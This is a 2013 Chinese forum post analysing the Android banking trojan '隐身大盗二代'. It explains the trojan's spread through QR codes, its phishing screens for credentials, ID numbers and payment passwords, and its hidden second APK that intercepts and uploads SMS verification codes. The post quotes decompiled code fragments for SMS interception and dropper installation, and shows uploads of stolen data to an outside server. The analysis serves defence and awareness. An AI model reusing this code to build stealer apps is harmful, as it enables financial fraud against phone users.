-
-
[原创]手机木马"隐身大盗二代"分析
-
发表于:
2013-12-5 09:44
21902
-
手机木马“隐身大盗二代”
分析报告
1 背景
科技越来越发达,网络越来越盛行,随之而来的是网络购物的普遍与流行。网络购物在带给用户购物便利的同时也存在安全隐患。双十一期间发生多起扫描二维码,造成支付账号资金损失的事件,经调查是扫描的二维码被植入了“隐身大盗”手机木马,从而导致手机被黑客控制,窃取了手机绑定的网上支付账户资金。
如果用户使用网上支付却无法收到短信验证码,一定要检查手机是否感染了“隐身大盗”木马,该木马专门屏蔽并窃取受害者验证码短信,从而盗取网上支付账户资金。近期又发现“隐身大盗”出现升级变种,以验证账户为由骗受害者输入身份证号、支付密码等信息,从而完全控制受害者的支付账户。下面就来分析一下“隐身大盗”木马的原理。
2 分析结论
“隐身大盗二代”采取了连环攻击手段,在用户安装完伪装成流行应用的“大包”之后,诱导用户再安装一个伪装成账户安全验证的“小包”,大包专门窃取账号密码、身份证号等,“小包”则暗中监控、识别受害者短信并联网上传。
2.1 伪装为常用应用的“大包”
(1) 通过二维码传播:传输方式更隐蔽,将木马应用的下载链接生成为二维码,通过扫描二维码即可下载。
(2) 伪装为常用应用诱导输入账号和密码:界面伪装成常用应用,启动后显示登录界面,诱导用户输入用户名和密码。
(3) 窃取手机号码并联同账号密码联网上传:应用启动后读取用户的手机号码,联同用户输入的账号和密码一起发送到指定的服务端。
(4) 诱导安装隐藏的“小包”:将”小包”的格式名去掉,放在木马中,当需要安装”小包”时再从中恢复,诱导用户进行安装。
(5) 诱骗输入身份证和支付密码并上传:诱骗用户输入身份证号和支付密码,将输入的信息联网上传到指定服务端。
2.2 在后台静默运行的“小包”
(1) 开机自启动静默执行:小包安装后,隐藏图标,在后台静默执行,一般用户无法察觉。
(2) 监控并拦截短信:拦截短信,并将拦截的短信上传至服务器。
3 恶意程序工作原理
3.1 通过二维码传播“大包”
1、不法分子将二维码发给用户,用户扫描二维码,得到一个下载链接,不法分子诱骗用户下载并安装。
图1.木马二维码图
2、另一种传播途径是不正规的安卓市场,将植入木马的常用应用在安卓市场上架,用户自行下载安装。
3.2 诱骗用户输入账号和密码
伪装成常用应用,诱导用户输入登录的账户和密码,用户输入后点击“提交”,将用户输入的账号和密码发送到指定的服务器上。
图2.伪装为淘宝二手诱导用户输入淘宝账号和密码
String str1 = this.val$etName.getText().toString();
if (str1.equals(""))
Toast.makeText(this.this$0, "请输入用户名", 0).show();
while (true)
{获取用户输入的账号
和密码
return;
String str2 = this.val$etPass.getText().toString();
if (str2.equals(""))
{
Toast.makeText(this.this$0, "请输入密码", 0).show();
continue;
}
……
ToolHelper.postData("http://www.gamefiveo.com/saves.php",localArrayList)
将读取的数据上传至服务器端
3.3 窃取手机号码
通过系统函数读取用户的手机号码,如果能获取到,将手机号码发送到指定的服务器上。
图3.读取手机号码并连同用户输入的账号和密码上传至服务器
TelephonyManagerlocalTelephonyManager =(TelephonyManager)this.this$0.getSystemService("phone");
MainActivity localMainActivity1 = this.this$0;读取手机号码
String str3 = localTelephonyManager.getLine1Number();
localMainActivity1.phoneNum = str3;读取IMEI
if (this.this$0.phoneNum.equals(""))
{
MainActivity localMainActivity2 = this.this$0;
String str4 = localTelephonyManager.getDeviceId();
localMainActivity2.phoneNum = str4;
}
MainActivity.1.1 local1 = new MainActivity.1.1(this, str1, str2);
new Thread(local1).start();
……
ToolHelper.postData("http://www.gamefiveo.com/saves.php",localArrayList)
将读取的数据上传至服务器端
3.4 诱导安装小包
后台联网下载小包程序,下载完成后,提示用户“为了资金安全,请安装支付安全软件后再进行操作”,用户点击“确定”即完成了“小包”的安装。
图4.诱导用户安装”小包”图5.小包文件
if (!MainActivity.checkApkExist(this.this$0, "google.tao"))
{检查”小包”是否安装
MainActivity localMainActivity3 = this.this$0;
AlertDialog.Builder localBuilder1 = new
AlertDialog.Builder(localMainActivity3);
AlertDialog.Builder localBuilder2 = localBuilder1.setCancelable(0);
AlertDialog.Builder localBuilder3 = localBuilder1.setMessage("为了您的账号安全,请安装安全中心后再进行操作。谢谢。\n\n点击确定,立即安装");欺诈用户安装
MainActivity.1.2 local2 = new MainActivity.1.2(this);
AlertDialog.Builder localBuilder4 = localBuilder1.setNegativeButton("确定", local2);用户点击确认后跳转至安装
AlertDialog.Builder localBuilder5 = localBuilder1.setPositiveButton("取消", null);
AlertDialog localAlertDialog1 = localBuilder1.create();
AlertDialog localAlertDialog2 = localBuilder1.show();
continue;
}调用安装函数
……
MainActivity.Install(MainActivity.1.access$0(this.this$1), "");
publicstaticvoid Install(Context paramContext, String paramString)
{
……将隐藏在木马中的恶意
File localFile = new File(str3, "tz.apk");“小包”还原为apk,增强了毒软件的隐蔽性
try
{
InputStreamlocalInputStream = paramContext.getAssets().open("tz");
if (!localFile.exists())
{
booleanbool = localFile.createNewFile();
localFileOutputStream = newFileOutputStream(localFile);
arrayOfByte = newbyte[1024];
if (localInputStream.read(arrayOfByte) <= 0)
{
localFileOutputStream.close();
localInputStream.close();
}
}
……
String str5 = "chmod " + str4 + " " + str3 + "/" + "tz.apk";修改文件权限
Process localProcess = Runtime.getRuntime().exec(str5);
while (true)
{
Intent localIntent2 = localIntent1.setAction("android.intent.action.VIEW");
Uri localUri = Uri.fromFile(localFile);
Intent localIntent3 = localIntent1.setDataAndType(localUri, "application/vnd.android.package-archive");
Intent localIntent4 = localIntent1.setFlags(268435456);
paramContext.startActivity(localIntent1);安装并于后台运行”小包”
3.5 诱骗输入身份证和支付密码并上传
用户完成小包的安装后,继续诱骗用户输入身份证号和支付的密码,用户输入后,点击“提交”,将用户的身份证和支付密码发送到指定的服务器。
图6.诱导用户输入身份证和支付密码并上传
String str1 = this.val$etcode.getText().toString();
if (str1.equals(""))获取用户输入的身份证号码
Toast.makeText(this.this$0, "请输入您的身份证号", 0).show();
while (true)
{
return;
String str2 = this.val$etCom.getText().toString();
if (str2.equals(""))获取用户输入的支付密码
{
Toast.makeText(this.this$0, "请输入支付密码", 0).show();
continue;
}
this.this$0.pd.show();
……
LocationVerify.1.1 local1 = new LocationVerify.1.1(this, str1, str2);
new Thread(local1).start();
……
ToolHelper.postData("http://www.gamefiveo.com/saves.php",localArrayList)
将读取的数据上传至服务器端
3.6 监控并拦截验证码短信
(1) 小包启动后,在后台静默运行,隐藏图标,用户无法感知。
(2) 监控短信,会拦截所有手机接收的短信
(3) 将屏蔽的短信上传到指定的服务器端,并将手机上的信息删除。
if (str1.equals("android.provider.Telephony.SMS_RECEIVED"))
{
arrayOfSmsMessage = getMessagesFromIntent(paramIntent);监听短信接收
localStringBuilder1 = newStringBuilder();
i = arrayOfSmsMessage.length;
j = 0;
}
while (true)
{
if (j >= i)启动上传线程准备发送拦截的短信至服务器
{
BootReceiver.1 local1 = new BootReceiver.1(this, localStringBuilder1);
new Thread(local1).start();
abortBroadcast();
return;拦截短信
}读取短信内容
SmsMessagelocalSmsMessage = arrayOfSmsMessage[j];
String str4 = localSmsMessage.getOriginatingAddress();
this.originAddress = str4;
String str5 = localSmsMessage.getDisplayMessageBody();
StringBuilderlocalStringBuilder2 = localStringBuilder1.append(str5);
j += 1;将拦截的短信发送至服务器
……
ToolHelper.postData("http://www.gamefiveo.com/saves.php", localArrayList);
至此,用户的手机号、短信和身份证号全都被木马黑客掌握,手机绑定的网上支付账户也将完全沦陷,黑客可以完全操控用户的手机支付账号,还可能进一步盗刷支付账号绑定的银行账号。该木马病毒将给手机支付的用户带来巨大的安全隐患。
4 建议
保障手机安全支付的建议:
1. 给支付账户设置单独的、高安全级别的密码、给手机支付设置手势密码
2. 二维码扫描后,如果是下载链接,谨慎下载
3. 支付应实名认证
4. 谨慎保管个人的身份证、银行卡、手机验证码等隐私信息
5. 不点击不明链接,不安装不明文件
6. 手机上安装安全管理软件
7. 丢失手机后应打电话给运营商和支付服务商挂失
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)